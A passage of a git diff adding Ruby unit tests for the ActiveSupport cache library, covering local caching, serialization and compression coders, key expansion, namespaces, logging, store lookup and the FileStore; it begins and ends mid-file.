+
+  def test_local_cache_fetch_on_miss
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      assert_equal false, @cache.exist?(key)
+      value = @cache.fetch(key) { "fetch-yielded" }
+      assert_equal "fetch-yielded", value
+
+      assert_equal "fetch-yielded", @peek.read(key)
+    end
+  end
+
+  def test_local_cache_of_write_nil
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      assert @cache.write(key, nil)
+      assert_nil @cache.read(key)
+      @peek.write(key, value)
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_local_cache_of_write_with_unless_exist
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      @cache.write(key, value)
+      @cache.write(key, SecureRandom.alphanumeric, unless_exist: true)
+      assert_equal @peek.read(key), @cache.read(key)
+    end
+  end
+
+  def test_local_cache_of_delete
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      @cache.write(key, SecureRandom.alphanumeric)
+      @cache.delete(key)
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_local_cache_of_delete_matched
+    begin
+      @cache.delete_matched("*")
+    rescue NotImplementedError
+      return # Not implementing delete_matched is valid
+    end
+
+    prefix = SecureRandom.alphanumeric
+    key = "#{prefix}#{SecureRandom.uuid}"
+    other_key = "#{prefix}#{SecureRandom.uuid}"
+    third_key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      @cache.write(key, SecureRandom.alphanumeric)
+      @cache.write(other_key, SecureRandom.alphanumeric)
+      @cache.write(third_key, value)
+      @cache.delete_matched("#{prefix}*")
+      assert_not @cache.exist?(key)
+      assert_not @cache.exist?(other_key)
+      assert_equal value, @cache.read(third_key)
+    end
+  end
+
+  def test_local_cache_of_exist
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      @cache.write(key, SecureRandom.alphanumeric)
+      @peek.delete(key)
+      assert @cache.exist?(key)
+    end
+  end
+
+  def test_local_cache_of_increment
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      @cache.write(key, 1, raw: true)
+      @peek.write(key, 2, raw: true)
+
+      @cache.increment(key)
+
+      expected = @peek.read(key, raw: true)
+      assert_equal 3, Integer(expected)
+      assert_equal expected, @cache.read(key, raw: true)
+    end
+  end
+
+  def test_local_cache_of_decrement
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      @cache.write(key, 1, raw: true)
+      @peek.write(key, 3, raw: true)
+
+      @cache.decrement(key)
+
+      expected = @peek.read(key, raw: true)
+      assert_equal 2, Integer(expected)
+      assert_equal expected, @cache.read(key, raw: true)
+    end
+  end
+
+  def test_local_cache_of_fetch_multi
+    existing_key = SecureRandom.uuid
+    known_missing_key = SecureRandom.uuid
+    unknown_key = SecureRandom.uuid
+
+    @cache.with_local_cache do
+      @cache.fetch(existing_key) { "exist" }
+      assert_equal false, @cache.exist?("known-missing")
+
+      results = @cache.fetch_multi(known_missing_key, existing_key, unknown_key) { "fetch-yielded" }
+      expected = {
+        known_missing_key => "fetch-yielded",
+        existing_key => "exist",
+        unknown_key => "fetch-yielded",
+      }
+      assert_equal(expected, results)
+
+      results = @peek.read_multi(known_missing_key, existing_key, unknown_key)
+      assert_equal expected, results
+    end
+  end
+
+  def test_local_cache_of_read_multi
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    other_key = SecureRandom.uuid
+    other_value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      @cache.write(key, value, raw: true)
+      @peek.write(other_key, other_value, raw: true)
+      values = @cache.read_multi(key, other_key, raw: true)
+      assert_equal value, @cache.read(key, raw: true)
+      assert_equal other_value, @cache.read(other_key, raw: true)
+      assert_equal value, values[key]
+      assert_equal other_value, values[other_key]
+    end
+  end
+
+  def test_local_cache_of_read_multi_with_expiry
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      time = Time.now
+      @cache.write(key, value, expires_in: 60)
+      assert_equal value, @cache.read_multi(key)[key]
+      Time.stub(:now, time + 61) do
+        assert_nil @cache.read_multi(key)[key]
+      end
+    end
+  end
+
+  def test_local_cache_of_read_multi_with_versions
+    model = Struct.new(:to_param, :cache_version)
+
+    @cache.with_local_cache do
+      thing = model.new(1, 1)
+      key = ["foo", thing]
+
+      @cache.write(key, "contents")
+
+      assert_equal "contents", @cache.read(key)
+      assert_equal "contents", @cache.read_multi(key)[key]
+
+      thing.cache_version = "002"
+      assert_nil @cache.read(key)
+      assert_nil @cache.read_multi(key)[key]
+    end
+  end
+
+  def test_local_cache_of_read_multi_prioritizes_local_entries
+    key = "key#{rand}"
+    @cache.with_local_cache do
+      @cache.write(key, "foo")
+      @cache.send(:bypass_local_cache) { @cache.write(key, "bar") }
+
+      assert_equal({ key => "foo" }, @cache.read_multi(key))
+    end
+  end
+
+  def test_initial_object_mutation_after_write
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      initial = +"bar"
+      @cache.write(key, initial)
+      initial << "baz"
+      assert_equal "bar", @cache.read(key)
+    end
+  end
+
+  def test_initial_object_mutation_after_fetch
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      initial = +"bar"
+      @cache.fetch(key) { initial }
+      initial << "baz"
+      assert_equal "bar", @cache.read(key)
+      assert_equal "bar", @cache.fetch(key)
+    end
+  end
+
+  def test_middleware
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    app = lambda { |env|
+      result = @cache.write(key, value)
+      assert_equal value, @cache.read(key) # make sure 'foo' was written
+      assert result
+      [200, {}, []]
+    }
+    app = @cache.middleware.new(app)
+    app.call({})
+  end
+
+  def test_local_race_condition_protection
+    key = SecureRandom.uuid
+    value = SecureRandom.alphanumeric
+    other_value = SecureRandom.alphanumeric
+    @cache.with_local_cache do
+      time = Time.now
+      @cache.write(key, value, expires_in: 60)
+      Time.stub(:now, time + 61) do
+        result = @cache.fetch(key, race_condition_ttl: 10) do
+          assert_equal value, @cache.read(key)
+          other_value
+        end
+        assert_equal other_value, result
+      end
+    end
+  end
+
+  def test_local_cache_should_read_and_write_false
+    key = SecureRandom.uuid
+    @cache.with_local_cache do
+      assert @cache.write(key, false)
+      assert_equal false, @cache.read(key)
+    end
+  end
+
+  def test_local_cache_should_deserialize_entries_on_multi_get
+    keys = Array.new(5) { SecureRandom.uuid }
+    values = keys.index_with(true)
+    @cache.with_local_cache do
+      assert @cache.write_multi(values)
+      assert_equal values, @cache.read_multi(*keys)
+    end
+  end
+end
diff --git a/activesupport/test/cache/cache_coder_test.rb b/activesupport/test/cache/cache_coder_test.rb
new file mode 100644
index 0000000000000..1e37f5961a102
--- /dev/null
+++ b/activesupport/test/cache/cache_coder_test.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/core_ext/integer/time"
+
+class CacheCoderTest < ActiveSupport::TestCase
+  setup do
+    @coder = ActiveSupport::Cache::Coder.new(Serializer, Compressor)
+  end
+
+  test "roundtrips entry" do
+    ENTRIES.each do |entry|
+      assert_entry entry, @coder.load(@coder.dump(entry))
+    end
+  end
+
+  test "roundtrips entry when using compression" do
+    ENTRIES.each do |entry|
+      assert_entry entry, @coder.load(@coder.dump_compressed(entry, 1))
+    end
+  end
+
+  test "compresses values that are larger than the threshold" do
+    COMPRESSIBLE_ENTRIES.each do |entry|
+      dumped = @coder.dump(entry)
+      compressed = @coder.dump_compressed(entry, 1)
+
+      assert_operator compressed.bytesize, :<, dumped.bytesize
+    end
+  end
+
+  test "does not compress values that are smaller than the threshold" do
+    COMPRESSIBLE_ENTRIES.each do |entry|
+      dumped = @coder.dump(entry)
+      not_compressed = @coder.dump_compressed(entry, 1_000_000)
+
+      assert_equal dumped, not_compressed
+    end
+  end
+
+  test "does not apply compression to incompressible values" do
+    (ENTRIES - COMPRESSIBLE_ENTRIES).each do |entry|
+      dumped = @coder.dump(entry)
+      not_compressed = @coder.dump_compressed(entry, 1)
+
+      assert_equal dumped, not_compressed
+    end
+  end
+
+  test "loads dumped entries from original serializer" do
+    ENTRIES.each do |entry|
+      assert_entry entry, @coder.load(Serializer.dump(entry))
+    end
+  end
+
+  test "matches output of original serializer when legacy_serializer: true" do
+    @coder = ActiveSupport::Cache::Coder.new(Serializer, Compressor, legacy_serializer: true)
+
+    ENTRIES.each do |entry|
+      assert_equal Serializer.dump(entry), @coder.dump(entry)
+      assert_equal Serializer.dump_compressed(entry, 1), @coder.dump_compressed(entry, 1)
+    end
+  end
+
+  test "dumps bare strings with reduced overhead when possible" do
+    unoptimized = @coder.dump(ActiveSupport::Cache::Entry.new("".encode(Encoding::WINDOWS_1252)))
+
+    [Encoding::UTF_8, Encoding::BINARY, Encoding::US_ASCII].each do |encoding|
+      optimized = @coder.dump(ActiveSupport::Cache::Entry.new("".encode(encoding)))
+      assert_operator optimized.size, :<, unoptimized.size
+    end
+  end
+
+  test "lazily deserializes values" do
+    serializer = Module.new do
+      def self.dump(*); ""; end
+      def self.load(*); raise "LOAD!"; end
+    end
+
+    @coder = ActiveSupport::Cache::Coder.new(serializer, Compressor)
+    entry = ActiveSupport::Cache::Entry.new([], version: "abc", expires_in: 123)
+    roundtripped = @coder.load(@coder.dump(entry))
+
+    assert_equal entry.version, roundtripped.version
+    assert_equal entry.expires_at, roundtripped.expires_at
+    assert_raises(match: "LOAD!") { roundtripped.value }
+  end
+
+  test "lazily decompresses values" do
+    compressor = Module.new do
+      def self.deflate(*); ""; end
+      def self.inflate(*); raise "INFLATE!"; end
+    end
+
+    @coder = ActiveSupport::Cache::Coder.new(Serializer, compressor)
+
+    [[STRING], STRING].each do |value|
+      entry = ActiveSupport::Cache::Entry.new(value, version: "abc", expires_in: 123)
+      roundtripped = @coder.load(@coder.dump_compressed(entry, 1))
+
+      assert_equal entry.version, roundtripped.version
+      assert_equal entry.expires_at, roundtripped.expires_at
+      assert_raises(match: "INFLATE!") { roundtripped.value }
+    end
+  end
+
+  private
+    module Serializer
+      extend self
+
+      def dump(entry)
+        "SERIALIZED:" + Marshal.dump(entry)
+      end
+
+      def dump_compressed(*)
+        "via Serializer#dump_compressed"
+      end
+
+      def load(dumped)
+        Marshal.load(dumped.delete_prefix!("SERIALIZED:"))
+      end
+    end
+
+    module Compressor
+      extend self
+
+      def deflate(string)
+        "COMPRESSED:" + Zlib.deflate(string)
+      end
+
+      def inflate(deflated)
+        Zlib.inflate(deflated.delete_prefix!("COMPRESSED:"))
+      end
+    end
+
+    STRING = "x" * 100
+    COMPRESSIBLE_VALUES = [
+      { string: STRING },
+      STRING,
+      STRING.encode(Encoding::BINARY),
+      STRING.encode(Encoding::US_ASCII),
+      STRING.encode(Encoding::WINDOWS_1252),
+    ]
+    VALUES = [nil, true, 1, "", "ümlaut", [*0..255].pack("C*"), *COMPRESSIBLE_VALUES]
+    VERSIONS = [nil, "", "ümlaut", [*0..255].pack("C*"), "x" * 256]
+    EXPIRIES = [nil, 0, 100.years]
+
+    ENTRIES = VALUES.product(VERSIONS, EXPIRIES).map do |value, version, expires_in|
+      ActiveSupport::Cache::Entry.new(value, version: version, expires_in: expires_in).freeze
+    end
+
+    COMPRESSIBLE_ENTRIES = ENTRIES.select { |entry| COMPRESSIBLE_VALUES.include?(entry.value) }
+
+    def assert_entry(expected, actual)
+      assert_equal \
+        [expected.value, expected.version, expected.expires_at],
+        [actual.value, actual.version, actual.expires_at]
+    end
+end
diff --git a/activesupport/test/cache/cache_entry_test.rb b/activesupport/test/cache/cache_entry_test.rb
new file mode 100644
index 0000000000000..ee1f2e23e499b
--- /dev/null
+++ b/activesupport/test/cache/cache_entry_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/cache"
+
+class CacheEntryTest < ActiveSupport::TestCase
+  def test_expired
+    entry = ActiveSupport::Cache::Entry.new("value")
+    assert_not entry.expired?, "entry not expired"
+    entry = ActiveSupport::Cache::Entry.new("value", expires_in: 60)
+    assert_not entry.expired?, "entry not expired"
+    Time.stub(:now, Time.at(entry.expires_at + 1)) do
+      assert_predicate entry, :expired?, "entry is expired"
+    end
+  end
+
+  def test_initialize_with_expires_at
+    entry = ActiveSupport::Cache::Entry.new("value", expires_in: 60)
+    clone = ActiveSupport::Cache::Entry.new("value", expires_at: entry.expires_at)
+    assert_equal entry.expires_at, clone.expires_at
+  end
+end
diff --git a/activesupport/test/cache/cache_key_test.rb b/activesupport/test/cache/cache_key_test.rb
new file mode 100644
index 0000000000000..90e0b48c1d770
--- /dev/null
+++ b/activesupport/test/cache/cache_key_test.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/cache"
+
+class CacheKeyTest < ActiveSupport::TestCase
+  def test_entry_legacy_optional_ivars
+    legacy = Class.new(ActiveSupport::Cache::Entry) do
+      def initialize(value, **options)
+        @value = value
+        @expires_in = nil
+        @created_at = nil
+        super
+      end
+    end
+
+    entry = legacy.new "foo"
+    assert_equal "foo", entry.value
+  end
+
+  def test_expand_cache_key
+    assert_equal "1/2/true", ActiveSupport::Cache.expand_cache_key([1, "2", true])
+    assert_equal "name/1/2/true", ActiveSupport::Cache.expand_cache_key([1, "2", true], :name)
+  end
+
+  def test_expand_cache_key_with_rails_cache_id
+    with_env("RAILS_CACHE_ID" => "c99") do
+      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key(:foo)
+      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key([:foo])
+      assert_equal "c99/foo/bar", ActiveSupport::Cache.expand_cache_key([:foo, :bar])
+      assert_equal "nm/c99/foo", ActiveSupport::Cache.expand_cache_key(:foo, :nm)
+      assert_equal "nm/c99/foo", ActiveSupport::Cache.expand_cache_key([:foo], :nm)
+      assert_equal "nm/c99/foo/bar", ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
+    end
+  end
+
+  def test_expand_cache_key_with_rails_app_version
+    with_env("RAILS_APP_VERSION" => "rails3") do
+      assert_equal "rails3/foo", ActiveSupport::Cache.expand_cache_key(:foo)
+    end
+  end
+
+  def test_expand_cache_key_rails_cache_id_should_win_over_rails_app_version
+    with_env("RAILS_CACHE_ID" => "c99", "RAILS_APP_VERSION" => "rails3") do
+      assert_equal "c99/foo", ActiveSupport::Cache.expand_cache_key(:foo)
+    end
+  end
+
+  def test_expand_cache_key_respond_to_cache_key
+    key = +"foo"
+    def key.cache_key
+      :foo_key
+    end
+    assert_equal "foo_key", ActiveSupport::Cache.expand_cache_key(key)
+  end
+
+  def test_expand_cache_key_array_with_something_that_responds_to_cache_key
+    key = +"foo"
+    def key.cache_key
+      :foo_key
+    end
+    assert_equal "foo_key", ActiveSupport::Cache.expand_cache_key([key])
+  end
+
+  def test_expand_cache_key_of_nil
+    assert_equal "", ActiveSupport::Cache.expand_cache_key(nil)
+  end
+
+  def test_expand_cache_key_of_false
+    assert_equal "false", ActiveSupport::Cache.expand_cache_key(false)
+  end
+
+  def test_expand_cache_key_of_true
+    assert_equal "true", ActiveSupport::Cache.expand_cache_key(true)
+  end
+
+  def test_expand_cache_key_of_array_like_object
+    assert_equal "foo/bar/baz", ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
+  end
+
+  def test_set_and_get_namespace
+    cache = ActiveSupport::Cache::MemoryStore.new
+    assert_nil cache.namespace
+    cache.namespace = "test"
+    assert_equal "test", cache.namespace
+
+    cache.namespace = "test2"
+    assert_equal "test2", cache.namespace
+  end
+
+  private
+    def with_env(kv)
+      old_values = {}
+      kv.each { |key, value| old_values[key], ENV[key] = ENV[key], value }
+      yield
+    ensure
+      old_values.each { |key, value| ENV[key] = value }
+    end
+end
diff --git a/activesupport/test/cache/cache_store_logger_test.rb b/activesupport/test/cache/cache_store_logger_test.rb
new file mode 100644
index 0000000000000..82a53197b599d
--- /dev/null
+++ b/activesupport/test/cache/cache_store_logger_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/cache"
+
+class CacheStoreLoggerTest < ActiveSupport::TestCase
+  def setup
+    @cache = ActiveSupport::Cache.lookup_store(:memory_store)
+
+    @buffer = StringIO.new
+    @cache.logger = ActiveSupport::Logger.new(@buffer)
+  end
+
+  def test_logging
+    @cache.fetch("foo") { "bar" }
+    assert_predicate @buffer.string, :present?
+  end
+
+  def test_log_with_string_namespace
+    @cache.fetch("foo", namespace: "string_namespace") { "bar" }
+    assert_match %r{string_namespace:foo}, @buffer.string
+  end
+
+  def test_log_with_proc_namespace
+    proc = Proc.new do
+      "proc_namespace"
+    end
+    @cache.fetch("foo", namespace: proc) { "bar" }
+    assert_match %r{proc_namespace:foo}, @buffer.string
+  end
+
+  def test_mute_logging
+    @cache.mute { @cache.fetch("foo") { "bar" } }
+    assert_predicate @buffer.string, :blank?
+  end
+end
diff --git a/activesupport/test/cache/cache_store_namespace_test.rb b/activesupport/test/cache/cache_store_namespace_test.rb
new file mode 100644
index 0000000000000..5e8dbd939b20d
--- /dev/null
+++ b/activesupport/test/cache/cache_store_namespace_test.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/cache"
+
+class CacheStoreNamespaceTest < ActiveSupport::TestCase
+  def test_static_namespace
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "tester")
+    cache.write("foo", "bar")
+    assert_equal "bar", cache.read("foo")
+    assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
+  end
+
+  def test_proc_namespace
+    test_val = "tester"
+    proc = lambda { test_val }
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: proc)
+    cache.write("foo", "bar")
+    assert_equal "bar", cache.read("foo")
+    assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
+  end
+
+  def test_delete_matched_key_start
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "tester")
+    cache.write("foo", "bar")
+    cache.write("fu", "baz")
+    cache.delete_matched(/^fo/)
+    assert_not cache.exist?("foo")
+    assert cache.exist?("fu")
+  end
+
+  def test_delete_matched_key
+    cache = ActiveSupport::Cache.lookup_store(:memory_store, namespace: "foo")
+    cache.write("foo", "bar")
+    cache.write("fu", "baz")
+    cache.delete_matched(/OO/i)
+    assert_not cache.exist?("foo")
+    assert cache.exist?("fu")
+  end
+end
diff --git a/activesupport/test/cache/cache_store_setting_test.rb b/activesupport/test/cache/cache_store_setting_test.rb
new file mode 100644
index 0000000000000..69418de271990
--- /dev/null
+++ b/activesupport/test/cache/cache_store_setting_test.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/cache"
+require "dalli"
+
+class CacheStoreSettingTest < ActiveSupport::TestCase
+  def test_memory_store_gets_created_if_no_arguments_passed_to_lookup_store_method
+    store = ActiveSupport::Cache.lookup_store
+    assert_kind_of(ActiveSupport::Cache::MemoryStore, store)
+  end
+
+  def test_memory_store
+    store = ActiveSupport::Cache.lookup_store :memory_store
+    assert_kind_of(ActiveSupport::Cache::MemoryStore, store)
+  end
+
+  def test_file_fragment_cache_store
+    store = ActiveSupport::Cache.lookup_store :file_store, "/path/to/cache/directory"
+    assert_kind_of(ActiveSupport::Cache::FileStore, store)
+    assert_equal "/path/to/cache/directory", store.cache_path
+  end
+
+  def test_file_store_requires_a_path
+    assert_raises(ArgumentError) do
+      ActiveSupport::Cache.lookup_store :file_store
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store
+    assert_called_with(Dalli::Client, :new, [%w[localhost], { compress: false }]) do
+      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", pool: false
+      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store_with_not_dalli_client
+    assert_not_called(Dalli::Client, :new) do
+      memcache = Object.new
+      assert_raises(ArgumentError) do
+        ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+      end
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store_with_multiple_servers
+    assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], { compress: false }]) do
+      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", "192.168.1.1", pool: false
+      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+    end
+  end
+
+  def test_mem_cache_fragment_cache_store_with_options
+    assert_called_with(Dalli::Client, :new, [%w[localhost 192.168.1.1], { timeout: 10, compress: false }]) do
+      store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", "192.168.1.1", namespace: "foo", timeout: 10, pool: false
+      assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+      assert_equal "foo", store.options[:namespace]
+    end
+  end
+
+  def test_object_assigned_fragment_cache_store
+    store = ActiveSupport::Cache.lookup_store ActiveSupport::Cache::FileStore.new("/path/to/cache/directory")
+    assert_kind_of(ActiveSupport::Cache::FileStore, store)
+    assert_equal "/path/to/cache/directory", store.cache_path
+  end
+
+  def test_redis_cache_store_with_single_array_object
+    cache_store = [:redis_cache_store, namespace: "foo"]
+
+    store = ActiveSupport::Cache.lookup_store(cache_store)
+    assert_kind_of ActiveSupport::Cache::RedisCacheStore, store
+    assert_equal "foo", store.options[:namespace]
+  end
+
+  def test_redis_cache_store_with_ordered_options
+    options = ActiveSupport::OrderedOptions.new
+    options.update namespace: "foo"
+
+    store = ActiveSupport::Cache.lookup_store :redis_cache_store, options
+    assert_kind_of(ActiveSupport::Cache::RedisCacheStore, store)
+    assert_equal "foo", store.options[:namespace]
+  end
+end
diff --git a/activesupport/test/cache/local_cache_middleware_test.rb b/activesupport/test/cache/local_cache_middleware_test.rb
new file mode 100644
index 0000000000000..7ed6c4874c004
--- /dev/null
+++ b/activesupport/test/cache/local_cache_middleware_test.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/cache"
+
+module ActiveSupport
+  module Cache
+    module Strategy
+      module LocalCache
+        class MiddlewareTest < ActiveSupport::TestCase
+          class Cache
+            include LocalCache
+          end
+
+          def test_local_cache_cleared_on_close
+            cache = Cache.new
+            assert_nil cache.local_cache
+            middleware = Middleware.new("<3", cache).new(->(env) {
+              assert cache.local_cache, "should have a cache"
+              [200, {}, []]
+            })
+            _, _, body = middleware.call({})
+            assert cache.local_cache, "should still have a cache"
+            body.each { }
+            assert cache.local_cache, "should still have a cache"
+            body.close
+            assert_nil cache.local_cache
+          end
+
+          def test_local_cache_cleared_and_response_should_be_present_on_invalid_parameters_error
+            cache = Cache.new
+            assert_nil cache.local_cache
+            middleware = Middleware.new("<3", cache).new(->(env) {
+              assert cache.local_cache, "should have a cache"
+              raise Rack::Utils::InvalidParameterError
+            })
+            response = middleware.call({})
+            assert response, "response should exist"
+            assert_nil cache.local_cache
+          end
+
+          def test_local_cache_cleared_on_exception
+            cache = Cache.new
+            assert_nil cache.local_cache
+            middleware = Middleware.new("<3", cache).new(->(env) {
+              assert cache.local_cache, "should have a cache"
+              raise
+            })
+            assert_raises(RuntimeError) { middleware.call({}) }
+            assert_nil cache.local_cache
+          end
+
+          def test_local_cache_cleared_on_throw
+            cache = Cache.new
+            assert_nil cache.local_cache
+            middleware = Middleware.new("<3", cache).new(->(env) {
+              assert cache.local_cache, "should have a cache"
+              throw :warden
+            })
+            assert_throws(:warden) { middleware.call({}) }
+            assert_nil cache.local_cache
+          end
+
+          def test_local_cache_middlewre_can_reassign_cache
+            cache = Cache.new
+            new_cache = Cache.new
+            middleware = Middleware.new("<3", cache).new(->(env) {
+              assert cache.local_cache, "should have a cache"
+              throw :warden
+            })
+            middleware.cache = new_cache
+
+            assert_same(new_cache, middleware.cache)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/cache/serializer_with_fallback_test.rb b/activesupport/test/cache/serializer_with_fallback_test.rb
new file mode 100644
index 0000000000000..57568f9135c59
--- /dev/null
+++ b/activesupport/test/cache/serializer_with_fallback_test.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+require "active_support/core_ext/object/with"
+
+class CacheSerializerWithFallbackTest < ActiveSupport::TestCase
+  FORMATS = ActiveSupport::Cache::SerializerWithFallback::SERIALIZERS.keys
+  LEGACY_FORMATS = [:passthrough, :marshal_7_0]
+
+  setup do
+    @entry = ActiveSupport::Cache::Entry.new(
+      [{ a_boolean: false, a_number: 123, a_string: "x" * 40 }], expires_in: 100, version: "v42"
+    )
+  end
+
+  FORMATS.product(FORMATS - LEGACY_FORMATS) do |loader, dumper|
+    test "#{loader.inspect} serializer can load #{dumper.inspect} dump" do
+      dumped = serializer(dumper).dump(@entry.value)
+      assert_equal @entry.value, serializer(loader).load(dumped)
+    end
+  end
+
+  FORMATS.product(LEGACY_FORMATS) do |loader, dumper|
+    test "#{loader.inspect} serializer can load #{dumper.inspect} dump" do
+      dumped = serializer(dumper).dump(@entry)
+      assert_entry @entry, serializer(loader).load(dumped)
+    end
+  end
+
+  FORMATS.each do |format|
+    test "#{format.inspect} serializer handles unrecognized payloads gracefully" do
+      assert_nil serializer(format).load(Object.new)
+      assert_nil serializer(format).load("")
+    end
+
+    test "#{format.inspect} serializer logs unrecognized payloads" do
+      assert_logs(/unrecognized/i) { serializer(format).load(Object.new) }
+      assert_logs(/unrecognized/i) { serializer(format).load("") }
+    end
+  end
+
+  LEGACY_FORMATS.each do |format|
+    test "#{format.inspect} serializer can compress entries" do
+      compressed = serializer(format).dump_compressed(@entry, 1)
+      uncompressed = serializer(format).dump_compressed(@entry, 100_000)
+
+      assert_operator compressed.bytesize, :<, uncompressed.bytesize
+      assert_entry @entry, serializer(format).load(compressed)
+      assert_entry @entry, serializer(format).load(uncompressed)
+    end
+  end
+
+  test ":message_pack serializer handles missing class gracefully" do
+    klass = Class.new do
+      def self.name; "DoesNotActuallyExist"; end
+      def self.from_msgpack_ext(string); self.new; end
+      def to_msgpack_ext; ""; end
+    end
+
+    dumped = serializer(:message_pack).dump(klass.new)
+    assert_not_nil dumped
+    assert_nil serializer(:message_pack).load(dumped)
+  end
+
+  test "raises on invalid format name" do
+    assert_raises KeyError do
+      ActiveSupport::Cache::SerializerWithFallback[:invalid_format]
+    end
+  end
+
+  private
+    def serializer(format)
+      ActiveSupport::Cache::SerializerWithFallback[format]
+    end
+
+    def assert_entry(expected, actual)
+      assert_equal \
+        [expected.value, expected.version, expected.expires_at],
+        [actual.value, actual.version, actual.expires_at]
+    end
+
+    def assert_logs(pattern, &block)
+      io = StringIO.new
+      ActiveSupport::Cache::Store.with(logger: Logger.new(io), &block)
+      assert_match pattern, io.string
+    end
+end
diff --git a/activesupport/test/cache/stores/file_store_test.rb b/activesupport/test/cache/stores/file_store_test.rb
new file mode 100644
index 0000000000000..2504a4c69c608
--- /dev/null
+++ b/activesupport/test/cache/stores/file_store_test.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+require "pathname"
+
+class FileStoreTest < ActiveSupport::TestCase
+  attr_reader :cache_dir
+
+  def lookup_store(options = {})
+    cache_dir = options.delete(:cache_dir) { @cache_dir }
+    ActiveSupport::Cache.lookup_store(:file_store, cache_dir, options)
+  end
+
+  def setup
+    @cache_dir = Dir.mktmpdir("file-store-")
+    Dir.mkdir(cache_dir) unless File.exist?(cache_dir)
+    @cache = lookup_store(expires_in: 60)
+    @peek = lookup_store(expires_in: 60)
+    @cache_with_pathname = lookup_store(cache_dir: Pathname.new(cache_dir), expires_in: 60)
+
+    @buffer = StringIO.new
+    @cache.logger = ActiveSupport::Logger.new(@buffer)
+  end
+
+  def teardown
+    FileUtils.rm_r(cache_dir)
+  rescue Errno::ENOENT
+  end
+
+  include CacheStoreBehavior
+  include CacheStoreVersionBehavior
+  include CacheStoreCoderBehavior
+  include CacheStoreCompressionBehavior
+  include CacheStoreSerializerBehavior
+  include CacheStoreFormatVersionBehavior
+  include CacheDeleteMatchedBehavior
+  include CacheIncrementDecrementBehavior
+  include CacheInstrumentationBehavior
+  include CacheLoggingBehavior
+
+  def test_clear
+    gitkeep = File.join(cache_dir, ".gitkeep")
+    keep = File.join(cache_dir, ".keep")
+    FileUtils.touch([gitkeep, keep])
+    @cache.clear
+    assert File.exist?(gitkeep)
+    assert File.exist?(keep)
+  end
+
+  def test_clear_without_cache_dir
+    FileUtils.rm_r(cache_dir)
+    assert_nothing_raised { @cache.clear }
+  end
+
+  def test_long_uri_encoded_keys
+    @cache.write("%" * 870, 1)
+    assert_equal 1, @cache.read("%" * 870)
+  end
+
+  def test_key_transformation
+    key = @cache.send(:normalize_key, "views/index?id=1", {})
+    assert_equal "views/index?id=1", @cache.send(:file_path_key, key)
+  end
+
+  def test_key_transformation_with_pathname
+    FileUtils.touch(File.join(cache_dir, "foo"))
+    key = @cache_with_pathname.send(:normalize_key, "views/index?id=1", {})
+    assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key)
+  end
+
+  # Test that generated cache keys are short enough to have Tempfile stuff added to them and
+  # remain valid
+  def test_filename_max_size
+    key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}"
+    path = @cache.send(:normalize_key, key, {})
+    basename = File.basename(path)
+    dirname = File.dirname(path)
+    Dir::Tmpname.create(basename, Dir.tmpdir + dirname) do |tmpname, n, opts|
+      assert File.basename(tmpname + ".lock").length <= 255, "Temp filename too long: #{File.basename(tmpname + '.lock').length}"
+    end
+  end
+
+  # Because file systems have a maximum filename size, filenames > max size should be split in to directories
+  # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B
+  def test_key_transformation_max_filename_size
